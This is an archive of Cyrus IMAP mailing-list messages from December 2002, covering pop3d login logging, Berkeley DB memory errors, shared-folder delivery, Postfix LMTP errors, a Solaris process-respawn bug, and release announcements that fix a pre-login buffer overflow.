Re: pop login failure not logged to syslog
It looks like this is legacy SASLv1 code which wasn't ported. Try this
patch:
http://bugzilla.andrew.cmu.edu/cgi-bin/cvsweb.cgi/src/cyrus/imap/pop3d.c.diff?r1=1.129&r2=1.130
steve wright wrote:
>
> Hello,
>
> I've got a few linux systems running cyrus imap 2.1.11 source compiles & a
> few running Henrique de Moraes Holschuh's debian sid packages. I'm use
> sasldb2 (cyrus sasl 2.1.9) for authentication.
>
> I notice when my users supply the wrong password to imapd, messages are
> written to syslog like;
> "badlogin: localhost[127.0.0.1] plaintext steve SASL(-13): authentication
> failure: checkpass failed"
>
> When authentication fails with pop3d nothing is written to syslog & i'm
> trying to work out why.
>
> I'm no programmer but I had a look at cyrus-imapd-2.1.11/imap/pop3d.c
> Here is what I found;
>
> I noticed lines 1130-1113 read something like, if reply returns true, log
> "badlogin" to syslog.
> 1130if (reply) {
> 1131syslog(LOG_NOTICE, "badlogin: %s plaintext %s %s",
> 1132 popd_clienthost, popd_userid, reply);
> 1133}
>
> If I make this read;
> 1130if (!(reply)) {
> 1131syslog(LOG_NOTICE, "badlogin: %s plaintext %s %s",
> 1132 popd_clienthost, popd_userid, reply);
> 1133}
>
> Pop login failures are now logged to syslog;
> Dec 5 23:47:46 dustpuppy pop3d[4572]: badlogin: [127.0.0.1] plaintext
> steve (null)
>
> I'm guessing (null) means reply was empty / not true?
> Why might I be getting this ?
> What other information might I supply you to help trackdown my fault?
>
> With Thanks,
> Steve.
--
Kenneth Murchison Oceana Matrix Ltd.
Software Engineer 21 Princeton Place
716-662-8973 x26 Orchard Park, NY 14127
--PGP Public Key--http://www.oceana.com/~ken/ksm.pgp
Re: DBERROR: Cannot allocate memory
--On Friday, December 06, 2002 1:09 PM +1100 Rob Mueller <[EMAIL PROTECTED]> wrote: This is probably more a berkeley DB question, but I'm wondering if anyone else has seen this. Every now and then we see this in our imap log. Dec 5 20:39:47 server2 lmtpd[24962]: DBERROR db3: Unable to allocate 4151 bytes from mpool shared region: Cannot allocate memory Dec 5 20:39:47 server2 lmtpd[24962]: DBERROR: mystore: error storing : Cannot allocate memory [...] Anyway, has anyone else experienced this, or know of a solution? This probably means you need to increase the size of one of the db memory pool, also known as the cache. It has nothing to do with system shared memory: the db memory pool is an mmap()d file in the db/ directory. You can do this by making a DB_CONFIG file in the db/ directory that contains... lemme see... if it contains "set_cachesize " that should override what Cyrus compiles in with the set_cachesize() function call. Larry
Re: Shared folders and virtual domains ?
Christian Schulte wrote: > > Ken Murchison wrote: > > >Christian Schulte wrote: > > > > > >>Ken Murchison wrote: > >> > >> > >> > >>>Christian Schulte wrote: > >>> > >>> > >>> > >>> > Ken Murchison wrote: > > > > > > >Christian Schulte wrote: > > > > > > > > > > > > > >>Hi, > >> > >>I am running 2_2 cvs branch with virtual domain support turned on and > >>everything seemd to work fine. I now wanted to move my old installation > >>to the new one and cannot get delivery to shared folders working. > >>If I create a shared folder with cyradm like: > >> > >>$>cm sharedfolder > >> > >>I cannot do > >> > >>$>sam sharedfolder user@domain lrswipcda > >> > >>and get > >> > >>setaclmailbox: user@domain: lrswipcda: Invalid identifier > >> > >>If I create a shared folder with cyradm like: > >> > >>$>cm sharedfolder@domain > >> > >>I can do > >> > >>$>sam sharedfolder@domain user@domain lrswipcda > >> > >>and the user can subscribe to the folder and sees it on the same level > >>than his inbox as expected. If I now setup sendmail to send via the > >>cyrusv2 mailer with an address like +sharedfolder@domain I get the > >>following errors in the logs which I do not understand ! What is wrong > >>here ? > >> > >>Nov 15 02:55:33 mail lmtpunix[8259]: [ID 921384 local6.debug] accepted > >>connection > >>Nov 15 02:55:33 mail lmtpunix[8259]: [ID 685068 local6.debug] lmtp > >>connection preauth'd as postman > >>Nov 15 02:55:33 mail lmtpunix[8259]: [ID 152585 local6.error] couldn't > >>create stage directory: : No such file or directory > >>Nov 15 02:55:33 mail lmtpunix[8259]: [ID 519036 local6.error] IOERROR: > >>creating message file 8259-1037325333: No such file or directory > >>Nov 15 02:55:33 mail sendmail[8262]: [ID 801593 mail.info] > >>gAF1rq13008256: to=<+sharedfolder@domain>, delay=00:01:41, > >>xdelay=00:00:00, mailer=cyrusv2, pri=210378, relay=localhost, dsn=4.2.0, > >>stat=Deferred: 451 4.3.2 cannot create temporary file: No such file or > >>directory > >> > >> > >> > >> > >> > >> > >Sorry for the delay, but I finally got a chance to look into this. > >Cyrus isn't the problem here, the problem is that the MTA is stripping > >the domain off of the recipient address when it gets passed to lmtpd. > > > >Try changing the cyrusv2 mailer definition to use: > > > >S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP > > > > > > > > > > > > > > > Does not work either! I had > > S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP/HdrToSMTP > > in my cyrusv2.m4 file and changing it to > > S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP > > produces the same error! sendmail delivers correctly to lmtpd, I think: > > 20776 === CONNECT localhost > 20776 <<< 220 LMTP Cyrus v2.2.prealpha ready > 20776 >>> LHLO > 20776 <<< 250-XXX > 20776 <<< 250-8BITMIME > 20776 <<< 250-ENHANCEDSTATUSCODES > 20776 <<< 250-PIPELINING > 20776 <<< 250-SIZE > 20776 <<< 250-AUTH EXTERNAL > 20776 <<< 250 IGNOREQUOTA > 20776 >>> MAIL From:<[EMAIL PROTECTED]> SIZE=1076 BODY=8BITMIME > 20776 <<< 250 2.1.0 ok > 20776 >>> RCPT To:<+sharedfolder@domain> > 20776 >>> DATA > 20776 <<< 250 2.1.5 ok > 20776 <<< 451 4.3.2 cannot create temporary file: No such file or directory > 20776 >>> QUIT > 20776 <<< 221 2.0.0 bye > 20776 <<< [EOF] > > And the logfile states the same errors ! What makes me a bit confused is > the error message itself. lmtpd is trying to create a temporary file but > the error is "No such file or directory". Is it a missing directory or > wrong permissions on a directory ? > > > > > >>>Sorry, I missed this in your original message. This error is a result > >>>of lmtpd's failure to create a spoolfile for the message. Most of the > >>>time this will be in the staging area of the recipient's partition (eg, > >>>/var/spool/imap/stage.), otherwise this will be in your temp space (call > >>>to tmpfile()). Check the ownership/permissions on the 'stage.' > >>>directory on your Cyrus partitions. It should look something like: > >>> > >>>[root@eagle imap]# ls -l /var/spool/imap/ > >>>total 8 > >>>drwx--3 cyrusmail 24 Jul 10 12:10 domain > >>>drwx--8 cyrusmail 73 Nov 5 12:51 netnews > >>>drwx-- 10 cyrusmail 4096 Oct 4 13:14 public > >>>drwx--2 cyrusmail6 Dec 3 10:18 stage. > >>>drwx-- 22 cyrusmail 4096 Aug 27 11:49 user > >>> > >>> > >>> > >>> > >>> > >>> > >>I cannot get it to work. Still the same problem! I configured cyrus with > >>--with-cyrus-user=cyrus and --with-cyrus-group=smmsp > >> >
DBERROR: Cannot allocate memory
This is probably more a berkeley DB question, but I'm wondering if anyone else has seen this. Every now and then we see this in our imap log. Dec 5 20:39:47 server2 lmtpd[24962]: DBERROR db3: Unable to allocate 4151 bytes from mpool shared region: Cannot allocate memory Dec 5 20:39:47 server2 lmtpd[24962]: DBERROR: mystore: error storing : Cannot allocate memory They tend to come in batches together, but there doesn't seem to be that much else in common as to when they appear We're only using db3 (db3_nosync) for our deliverdb (skiplist for everything else) so it's not critical, but I'd like to understand it and get rid of it. I'm also wondering if messages that have this problem are ignored by sieve, which seems to give up a bit too easily if there's any problem anywhere. This tends to annoying people with forwarding rules... At first I thought it might be a shared memory segment problem: ipcs -l -- Shared Memory Limits max number of segments = 4096 max seg size (kbytes) = 32768 max total shared memory (kbytes) = 8388608 min seg size (bytes) = 1 From: http://www.redhat.com/docs/manuals/database/RHDB-2.0-Manual/admin_user/kerne l-resources.html (which is more about postgresql tuning, but anyway...) [root@server3 root]# echo 134217728 >/proc/sys/kernel/shmall [root@server3 root]# echo 134217728 >/proc/sys/kernel/shmmax ipcs -l -- Shared Memory Limits max number of segments = 4096 max seg size (kbytes) = 131072 max total shared memory (kbytes) = 536870912 min seg size (bytes) = 1 But that hasn't fixed the problem, or made any of the errors less common as far as I can tell. Just listing the actual shared segments shows ipcs -- Shared Memory Segments keyshmid owner perms bytes nattch status 0x42020062 0 root 6664096 1 0x 131073 root 60046084 23 dest Which suggests that it isn't a problem either. Anyway, has anyone else experienced this, or know of a solution? Rob
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
Carson Gaspar wrote: > > --On Thursday, December 05, 2002 10:22 PM +0300 Oleg Derevenetz > <[EMAIL PROTECTED]> wrote: > > > When some pop3d dies with signal (i.e. SIGTERM), all incoming connections > > to corresponding address:port are hangs. For example, if I have pop3d > > I can confirm that the same bug exists under Solaris 8 x86 (fully patched) > with imapd. To reproduce: > > - Start master > - connect to imapd > - kill the imapd process > > No further imapd processes will be spawned. This is reliable - not a race > condition. I'll see if I can figure out what died in the code. I'm pretty sure that this is a case of master losing count of the number of available pop3d processes. When you kill a pop3d with SIGTERM, master never gets a SIGCHILD so never decrements its counter. -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key--http://www.oceana.com/~ken/ksm.pgp
Re: Fwd: pre-login buffer overflow in Cyrus IMAP server
Rob Siemborski <[EMAIL PROTECTED]> writes: > On Tue, 3 Dec 2002, Nels Lindquist wrote: > >> On 3 Dec 2002 at 9:57, Steve Wright wrote: >> >> > The message below is forwarded from bugtraq. >> > I've not seen any discussion of this, is an official fix available ? >> > The "semi-exploit" shown does indeed segfault imapd processes on my Debian >> > (sid) boxes. >> >> I'd imagine there should be patches for 1.6.24 and 2.0.16, as well as >> 2.1.10. > > There are now fixes in CVS for both the pre-login vulnerability and the > sieve vulnerability for 2.0 (cyrus-2-0-tail) and 2.1 (HEAD). Any comment on why it took over a month to react to this reported vulnerability? A comment explaining why it took so long and what happened in the meantime would be useful in extrapolating how future vulneribilities will be handled. If this has already been discussed somewhere, I am sorry for duplicating the discussion and would appreciate a pointer.
pop login failure not logged to syslog
Hello,
I've got a few linux systems running cyrus imap 2.1.11 source compiles & a
few running Henrique de Moraes Holschuh's debian sid packages. I'm use
sasldb2 (cyrus sasl 2.1.9) for authentication.
I notice when my users supply the wrong password to imapd, messages are
written to syslog like;
"badlogin: localhost[127.0.0.1] plaintext steve SASL(-13): authentication
failure: checkpass failed"
When authentication fails with pop3d nothing is written to syslog & i'm
trying to work out why.
I'm no programmer but I had a look at cyrus-imapd-2.1.11/imap/pop3d.c
Here is what I found;
I noticed lines 1130-1113 read something like, if reply returns true, log
"badlogin" to syslog.
1130if (reply) {
1131syslog(LOG_NOTICE, "badlogin: %s plaintext %s %s",
1132 popd_clienthost, popd_userid, reply);
1133}
If I make this read;
1130if (!(reply)) {
1131syslog(LOG_NOTICE, "badlogin: %s plaintext %s %s",
1132 popd_clienthost, popd_userid, reply);
1133}
Pop login failures are now logged to syslog;
Dec 5 23:47:46 dustpuppy pop3d[4572]: badlogin: [127.0.0.1] plaintext
steve (null)
I'm guessing (null) means reply was empty / not true?
Why might I be getting this ?
What other information might I supply you to help trackdown my fault?
With Thanks,
Steve.
Re: Shared folders and virtual domains ?
Ken Murchison wrote: Christian Schulte wrote: Ken Murchison wrote: Christian Schulte wrote: Ken Murchison wrote: Christian Schulte wrote: Hi, I am running 2_2 cvs branch with virtual domain support turned on and everything seemd to work fine. I now wanted to move my old installation to the new one and cannot get delivery to shared folders working. If I create a shared folder with cyradm like: $>cm sharedfolder I cannot do $>sam sharedfolder user@domain lrswipcda and get setaclmailbox: user@domain: lrswipcda: Invalid identifier If I create a shared folder with cyradm like: $>cm sharedfolder@domain I can do $>sam sharedfolder@domain user@domain lrswipcda and the user can subscribe to the folder and sees it on the same level than his inbox as expected. If I now setup sendmail to send via the cyrusv2 mailer with an address like +sharedfolder@domain I get the following errors in the logs which I do not understand ! What is wrong here ? Nov 15 02:55:33 mail lmtpunix[8259]: [ID 921384 local6.debug] accepted connection Nov 15 02:55:33 mail lmtpunix[8259]: [ID 685068 local6.debug] lmtp connection preauth'd as postman Nov 15 02:55:33 mail lmtpunix[8259]: [ID 152585 local6.error] couldn't create stage directory: : No such file or directory Nov 15 02:55:33 mail lmtpunix[8259]: [ID 519036 local6.error] IOERROR: creating message file 8259-1037325333: No such file or directory Nov 15 02:55:33 mail sendmail[8262]: [ID 801593 mail.info] gAF1rq13008256: to=<+sharedfolder@domain>, delay=00:01:41, xdelay=00:00:00, mailer=cyrusv2, pri=210378, relay=localhost, dsn=4.2.0, stat=Deferred: 451 4.3.2 cannot create temporary file: No such file or directory Sorry for the delay, but I finally got a chance to look into this. Cyrus isn't the problem here, the problem is that the MTA is stripping the domain off of the recipient address when it gets passed to lmtpd. Try changing the cyrusv2 mailer definition to use: S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP Does not work either! I had S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP/HdrToSMTP in my cyrusv2.m4 file and changing it to S=EnvFromSMTP/HdrFromSMTP, R=EnvToSMTP produces the same error! sendmail delivers correctly to lmtpd, I think: 20776 === CONNECT localhost 20776 <<< 220 LMTP Cyrus v2.2.prealpha ready 20776 >>> LHLO 20776 <<< 250-XXX 20776 <<< 250-8BITMIME 20776 <<< 250-ENHANCEDSTATUSCODES 20776 <<< 250-PIPELINING 20776 <<< 250-SIZE 20776 <<< 250-AUTH EXTERNAL 20776 <<< 250 IGNOREQUOTA 20776 >>> MAIL From:<[EMAIL PROTECTED]> SIZE=1076 BODY=8BITMIME 20776 <<< 250 2.1.0 ok 20776 >>> RCPT To:<+sharedfolder@domain> 20776 >>> DATA 20776 <<< 250 2.1.5 ok 20776 <<< 451 4.3.2 cannot create temporary file: No such file or directory 20776 >>> QUIT 20776 <<< 221 2.0.0 bye 20776 <<< [EOF] And the logfile states the same errors ! What makes me a bit confused is the error message itself. lmtpd is trying to create a temporary file but the error is "No such file or directory". Is it a missing directory or wrong permissions on a directory ? Sorry, I missed this in your original message. This error is a result of lmtpd's failure to create a spoolfile for the message. Most of the time this will be in the staging area of the recipient's partition (eg, /var/spool/imap/stage.), otherwise this will be in your temp space (call to tmpfile()). Check the ownership/permissions on the 'stage.' directory on your Cyrus partitions. It should look something like: [root@eagle imap]# ls -l /var/spool/imap/ total 8 drwx--3 cyrusmail 24 Jul 10 12:10 domain drwx--8 cyrusmail 73 Nov 5 12:51 netnews drwx-- 10 cyrusmail 4096 Oct 4 13:14 public drwx--2 cyrusmail6 Dec 3 10:18 stage. drwx-- 22 cyrusmail 4096 Aug 27 11:49 user I cannot get it to work. Still the same problem! I configured cyrus with --with-cyrus-user=cyrus and --with-cyrus-group=smmsp schulte-01:48:30:/var >ls -l /var ... drwxr-xr-x 8 root bin 512 Sep 20 21:27 spool schulte-01:48:33:/var >ls -l /var/spool/ ... drwxrwx--- 4 cyrussmmsp512 Nov 15 03:06 imap ... schulte-01:49:54:/var >ls -l /var/spool/imap/ total 4 drwxrwxr-x 15 cyrussmmsp512 Dez 3 22:15 domain drwxrwxr-x 2 cyrussmmsp512 Dez 5 01:44 stage. If I do a ./mkimap -d domain I have to chmod 0770 /var/imap/db.backup* afterwards to get rid of DBERROR logentries during cyrus startup, so I think I have a permission problem but where ? --Christian-- Do you only get this problem when trying to deliver to a shared folder? Yes! Or does it happen when trying to deliver to any folder, including a user's INBOX? No! Sieves' file into works correctly and delivery to all other folders than a shared folder also works for me! If I investigate the lmtpd process during delivery to a shared folder
RE: Cyrus and Postfix
Hi, > What is local_transport set to in your main.cf? > Local transport is not set, I thought mailbox_transport should do: mailbox_transport = lmtp:unix:public/lmtp Christoph Burger-Scheidlin
Re: Cyrus 2.0.17 and 2.1.11 released
Yes, but since it's unreleased we don't really bother announcing that. The patch has obviously been moved forward to the 2.2 branch as well. -Rob On Thu, 5 Dec 2002, Kervin Pierre wrote: > Is 2.2 CVS builds affected by this exploit? > > Rob Siemborski wrote: > > -BEGIN PGP SIGNED MESSAGE- > > Hash: SHA1 > > > > This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on > > ftp.andrew.cmu.edu. > > > > These releases correct the pre-login buffer overflow vulnerabilities > > recently mentioned on bugtraq. > > > > All sites are encouraged to upgrade to atleast 2.0.17. > > > > The source is available at: > > > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > or > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz > > http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz > > > > - -Rob > > > > - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 > > Research Systems Programmer * /usr/contributed Gatekeeper > > > > > > -BEGIN PGP SIGNATURE- > > Version: PGP 6.5.8 > > Comment: Made with pgp4pine 1.76 > > > > iQA/AwUBPe5cGWes8cJc4y/MEQLRKgCgqcPJqh97QWM9wxdtOGgcymPeSSYAoMn1 > > L2r2xAmPRdZp+/nPHpqroAyA > > =ShGy > > -END PGP SIGNATURE- > > > > > > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 Research Systems Programmer * /usr/contributed Gatekeeper
Re: Cyrus and Postfix
Christoph Burger-Scheidlin wrote: Hi, I have the following error in Cyrus-Postfix, that I do not know how to fix: Dec 5 23:03:25 Hades postfix/lmtp[16388]: 04316100F: to=, relay=public/lmtp[public/lmtp], delay=21490, status=deferred (host public/lmtp[public/lmtp] said: 451 4.3.0 System I/O error) Dec 5 23:03:25 Hades postfix/lmtp[16387]: AFB60100E: to=, relay=public/lmtp[public/lmtp], delay=21840, status=deferred (host public/lmtp[public/lmtp] said: 451 4.3.0 System I/O error) Cyrus and Postfix are communicating with an lmtp pipe. Any ideas? Thanks in advance. What is local_transport set to in your main.cf? Chris
Deliver by hand
Hi,
I noticed that deliver does not deliver mails if run from the shell. Is
this normal? If not, what might I try to fix that?
I am running SuSE 8.0, Postfix and Cyrus.
Thanks in Advance,
Christoph Burger-Scheidlin
### cyrus.conf
# standard standalone server implementation
START {
# do not delete these entries!
mboxlist cmd="ctl_mboxlist -r"
deliver cmd="ctl_deliver -r"
# this is only necessary if using idled for IMAP IDLE
# idledcmd="idled"
}
# UNIX sockets start with a slash and are put into /var/imap/socket
SERVICES {
# add or remove based on preferences
imap cmd="imapd" listen="imap" prefork=0
# imapscmd="imapd -s" listen="imaps" prefork=0
pop3 cmd="pop3d" listen="pop3" prefork=0
# pop3scmd="pop3d -s" listen="pop3s" prefork=0
sieve cmd="timsieved" listen="sieve" prefork=0
# at least one LMTP is required for delivery
# lmtp cmd="lmtpd" listen="lmtp" prefork=0
lmtpunix cmd="lmtpd" listen="/var/spool/postfix/public/lmtp"
prefork=1
# lmtpunix cmd="lmtpd" listen="/var/imap/socket/lmtp" prefork=0
}
EVENTS {
# this is required
checkpointcmd="ctl_mboxlist -c" period=30
# this is only necessary if using duplicate delivery suppression
delprune cmd="ctl_deliver -E 3" period=1440
# Uncomment the next entry, if you want to automatically remove
# old messages of EVERY user.
# This example calls ipurge every 60 minutes and ipurge will delete
# ALL messages older then 30 days.
# enter 'man 8 ipurge' for more details
# cleanup cmd="ipurge -d 30 -f" period=60
}
imapd.conf
postmaster: postmaster
configdirectory: /var/lib/imap
partition-default: /var/spool/imap
admins: cyrus
allowanonymouslogin: no
autocreatequota: 1
reject8bit: no
quotawarn: 90
timeout: 30
poptimeout: 10
dracinterval: 0
drachost: localhost
sasl_pwcheck_method: pam
#
# if you want TLS, you have to generate certificates and keys
#
#tls_cert_file: /usr/ssl/certs/cert.pem
#tls_key_file: /usr/ssl/certs/skey.pem
#tls_ca_file: /usr/ssl/CA/CAcert.pem
#tls_ca_path: /usr/ssl/CA
#allowplaintext:yes
#lmtpsocket:/var/imap/socket/lmtp
lmtpsocket:/var/spool/postfix/public/lmtp
Re: Cyrus 2.0.17 and 2.1.11 released
Is 2.2 CVS builds affected by this exploit? Rob Siemborski wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 This is to announce the release of Cyrus IMAPd 2.0.17 and 2.1.11 on ftp.andrew.cmu.edu. These releases correct the pre-login buffer overflow vulnerabilities recently mentioned on bugtraq. All sites are encouraged to upgrade to atleast 2.0.17. The source is available at: ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz or http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.0.17.tar.gz http://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.1.11.tar.gz - -Rob - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 Research Systems Programmer * /usr/contributed Gatekeeper -BEGIN PGP SIGNATURE- Version: PGP 6.5.8 Comment: Made with pgp4pine 1.76 iQA/AwUBPe5cGWes8cJc4y/MEQLRKgCgqcPJqh97QWM9wxdtOGgcymPeSSYAoMn1 L2r2xAmPRdZp+/nPHpqroAyA =ShGy -END PGP SIGNATURE-
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
--On Thursday, December 05, 2002 4:58 PM -0500 Rob Siemborski <[EMAIL PROTECTED]> wrote: This isn't good enough for me to reproduce it. I have tried both with preforking and without preforking. I cannot get 2.1.11 to behave like this on Solaris 8. Master didn't change since 2.1.10 so I don't know what this could be. And of course now I can't, either. Odd... -- Carson
Cyrus and Postfix
Hi, I have the following error in Cyrus-Postfix, that I do not know how to fix: Dec 5 23:03:25 Hades postfix/lmtp[16388]: 04316100F: to=<[EMAIL PROTECTED]>, relay=public/lmtp[public/lmtp], delay=21490, status=deferred (host public/lmtp[public/lmtp] said: 451 4.3.0 System I/O error) Dec 5 23:03:25 Hades postfix/lmtp[16387]: AFB60100E: to=<[EMAIL PROTECTED]>, relay=public/lmtp[public/lmtp], delay=21840, status=deferred (host public/lmtp[public/lmtp] said: 451 4.3.0 System I/O error) Cyrus and Postfix are communicating with an lmtp pipe. Any ideas? Thanks in advance.
Re: Buffer overflow in Cyrus IMAP ?
Its the same parsing code (with one or two exceptions). I don't see why it existing with literals after login would concern you if it didn't concern you before login. Of course, they are properly limited in 2.1.11 and 2.0.17. -Rob On Thu, 5 Dec 2002 [EMAIL PROTECTED] wrote: > Hi, > > Regarding the recently announced vulnerability > > http://online.securityfocus.com/archive/1/301864/2002-11-29/2002-12-05/0 > > Does a similar vulnerability exist with literals after login? > > Thank you. > > Saira Hasnain > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 Research Systems Programmer * /usr/contributed Gatekeeper
Re: Buffer overflow in Cyrus IMAP ?
Hi, Regarding the recently announced vulnerability http://online.securityfocus.com/archive/1/301864/2002-11-29/2002-12-05/0 Does a similar vulnerability exist with literals after login? Thank you. Saira Hasnain
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
On Thu, 5 Dec 2002, Carson Gaspar wrote: > > When some pop3d dies with signal (i.e. SIGTERM), all incoming > > connections to corresponding address:port are hangs. For example, if I > > have pop3d > > I can confirm that the same bug exists under Solaris 8 x86 (fully patched) > with imapd. To reproduce: > > - Start master > - connect to imapd > - kill the imapd process > > No further imapd processes will be spawned. This is reliable - not a race > condition. I'll see if I can figure out what died in the code. This isn't good enough for me to reproduce it. I have tried both with preforking and without preforking. I cannot get 2.1.11 to behave like this on Solaris 8. Master didn't change since 2.1.10 so I don't know what this could be. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 Research Systems Programmer * /usr/contributed Gatekeeper
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
--On Thursday, December 05, 2002 10:22 PM +0300 Oleg Derevenetz <[EMAIL PROTECTED]> wrote: When some pop3d dies with signal (i.e. SIGTERM), all incoming connections to corresponding address:port are hangs. For example, if I have pop3d I can confirm that the same bug exists under Solaris 8 x86 (fully patched) with imapd. To reproduce: - Start master - connect to imapd - kill the imapd process No further imapd processes will be spawned. This is reliable - not a race condition. I'll see if I can figure out what died in the code. -- Carson
problems running tools/mkimap during a compile/install
I'm trying to compile cyrus-imapd 2.1.11(even with 2.1.09 and 2.1.10), and when I run the tools/mkimap during the install process where it says to, I get the following error message: can't open /etc/imapd.conf at (eval 1) line 15, line 82. every single time. I have a /etc/imapd.conf(with the default basic config specified in the install readme), and i've tried even having it chmod 777 or chowned to the user the imapd was compiled to. anyone have any idea? I'm running debian testing/unstable with kernel 2.4.19. Aaron [EMAIL PROTECTED] __ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
On Thu, 5 Dec 2002, Oleg Derevenetz wrote: > When some pop3d dies with signal (i.e. SIGTERM), all incoming > connections to corresponding address:port are hangs. For example, if I > have pop3d running on 192.168.0.1:110, and issue a command: > > $ kill PID_OF_THIS_POP3D I can't duplicate this. I might be able to come up with a scenario if ALL of the pop3ds died in the queue (similar to the bugs that have been intermittantly reported with master losing count of the number of processes that are around). > $ telnet 192.168.0.1 110 > > I couldn't see pop3d banner after successful connection. Looks like all > incoming connections to this address holds in kernel queue and doesn't > reach accept(). Last message in log is "process PID exited, signaled to > death by 15". > > In the same time all connections to 192.168.0.2:110 are successfully > completes and I can see a standard pop3d banner. This makes sense, since master will maintain separate queues for each entry in the SERVICES list. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski * Andrew Systems Group * Cyert Hall 207 * 412-268-7456 Research Systems Programmer * /usr/contributed Gatekeeper
Re: Problems with cyrus-imapd 2.1.11 under Solaris 8
I'm seeing some form of crashes as well, but I'm not getting enough
details to really report on them :( When it crashes, I have to kill
everything off including the master, and restart it.
--
Jason Fesler, <[EMAIL PROTECTED]> http://gigo.com/resume.html
"You'll finish first - or not at all" - Death Race 2000
On Thu, 5 Dec 2002, Oleg Derevenetz wrote:
> Hi all,
>
> I have a problem with cyrus-imapd 2.1.11 working under Solaris 8. Imapd
> was built with gcc 2.95.3 and configured with following options:
>
> ./configure --with-cyrus-prefix=/usr/local/cyrus
>
> This is a piece of cyrus.conf file:
>
> SERVICES {
>imap1 cmd="imapd -C /usr/local/cyrus/etc/1/imapd.conf"
> listen="[192.168.0.1]:imap" prefork = 0
>pop31 cmd="pop3d -C /usr/local/cyrus/etc/1/imapd.conf"
> listen="[192.168.0.1]:pop3" prefork = 0
>imap2 cmd="imapd -C /usr/local/cyrus/etc/2/imapd.conf"
> listen="[192.168.0.2]:imap" prefork = 0
>pop32 cmd="pop3d -C /usr/local/cyrus/etc/2/imapd.conf"
> listen="[192.168.0.2]:pop3" prefork = 0
> }
>
> When some pop3d dies with signal (i.e. SIGTERM), all incoming
> connections to corresponding address:port are hangs. For example, if I
> have pop3d running on 192.168.0.1:110, and issue a command:
>
> $ kill PID_OF_THIS_POP3D
>
> and then
>
> $ telnet 192.168.0.1 110
>
> I couldn't see pop3d banner after successful connection. Looks like all
> incoming connections to this address holds in kernel queue and doesn't
> reach accept(). Last message in log is "process PID exited, signaled to
> death by 15".
>
> In the same time all connections to 192.168.0.2:110 are successfully
> completes and I can see a standard pop3d banner.
>
> Any ideas ?
>
>
>
Problems with cyrus-imapd 2.1.11 under Solaris 8
Hi all,
I have a problem with cyrus-imapd 2.1.11 working under Solaris 8. Imapd
was built with gcc 2.95.3 and configured with following options:
./configure --with-cyrus-prefix=/usr/local/cyrus
This is a piece of cyrus.conf file:
SERVICES {
imap1 cmd="imapd -C /usr/local/cyrus/etc/1/imapd.conf"
listen="[192.168.0.1]:imap" prefork = 0
pop31 cmd="pop3d -C /usr/local/cyrus/etc/1/imapd.conf"
listen="[192.168.0.1]:pop3" prefork = 0
imap2 cmd="imapd -C /usr/local/cyrus/etc/2/imapd.conf"
listen="[192.168.0.2]:imap" prefork = 0
pop32 cmd="pop3d -C /usr/local/cyrus/etc/2/imapd.conf"
listen="[192.168.0.2]:pop3" prefork = 0
}
When some pop3d dies with signal (i.e. SIGTERM), all incoming
connections to corresponding address:port are hangs. For example, if I
have pop3d running on 192.168.0.1:110, and issue a command:
$ kill PID_OF_THIS_POP3D
and then
$ telnet 192.168.0.1 110
I couldn't see pop3d banner after successful connection. Looks like all
incoming connections to this address holds in kernel queue and doesn't
reach accept(). Last message in log is "process PID exited, signaled to
death by 15".
In the same time all connections to 192.168.0.2:110 are successfully
completes and I can see a standard pop3d banner.
Any ideas ?
Re: Cyrus 2.0.17 and 2.1.11 released
